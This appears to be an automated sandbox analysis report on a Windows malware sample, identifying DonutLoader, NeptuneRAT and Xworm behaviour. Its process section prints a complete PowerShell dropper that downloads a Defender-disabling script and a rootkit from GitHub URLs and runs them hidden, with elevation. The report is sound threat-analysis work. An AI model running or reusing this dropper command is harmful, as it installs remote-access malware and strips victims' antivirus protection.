Analysis
- user interaction
yes - max time kernel
108s - max time network
109s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
27/07/2026, 03:45
General
- Target 234.exe
- Size 1.4MB
- Sample260727-ebenlsgn81
- SHA256 cb22ecf141895afa986c898edd2961d8ddbbd8f4515cd8bb48e36a93d582dd81
Malware Config
Extracted
-
ps1
-
exe.dropper
https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe
-
exe.dropper
https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Detect Xworm Payload 1 IoCs
- Detects DonutLoader 1 IoCs
- Detects NeptuneRAT stealer 1 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Modifies registry class 2 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\234.exe"C:\Users\Admin\AppData\Local\Temp\234.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "$settings = '{\"WD\": false, \"adminrun\": false}' | ConvertFrom-Json; $randomString = \"2PewmOBXXq\"; if ($settings.WD) { $settings.adminrun = $true; (New-Object System.Net.WebClient).DownloadFile(\"https://raw.githubusercontent.com/ninhpn1337/Disable-Windows-Defender/main/source.bat\", $env:TEMP + '\' + $randomString + '.bat'); Start-Process -FilePath ($env:TEMP + '\' + $randomString + '.bat') -WindowStyle Hidden -Wait -Verb RunAs; }; if ($settings.adminrun) { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath -Verb RunAs; } else { $url = \"https://github.com/charlie-60/R/raw/refs/heads/main/MasonRootkit.exe\"; $outputPath = $env:TEMP + '\' + 'MasonRootkit.exe'; (New-Object System.Net.WebClient).DownloadFile($url, $outputPath); Start-Process $outputPath; }"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/5988-12-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-13-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-23-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-20-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-4-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-5-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-6-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-9-0x000001B2B3010000-0x000001B2B3032000-memory.dmp
memory/5988-10-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-11-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-21-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-14-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-18-0x000001B2B3C50000-0x000001B2B4178000-memory.dmp
memory/5988-15-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-16-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/5988-17-0x000001B2B3550000-0x000001B2B3712000-memory.dmp
memory/6036-0-0x0000000002990000-0x00000000029A5000-memory.dmp
memory/6036-1-0x00007FFC1405F000-0x00007FFC14060000-memory.dmp
memory/6036-3-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/6036-22-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp
memory/6036-2-0x0000000003AA0000-0x0000000003AB2000-memory.dmp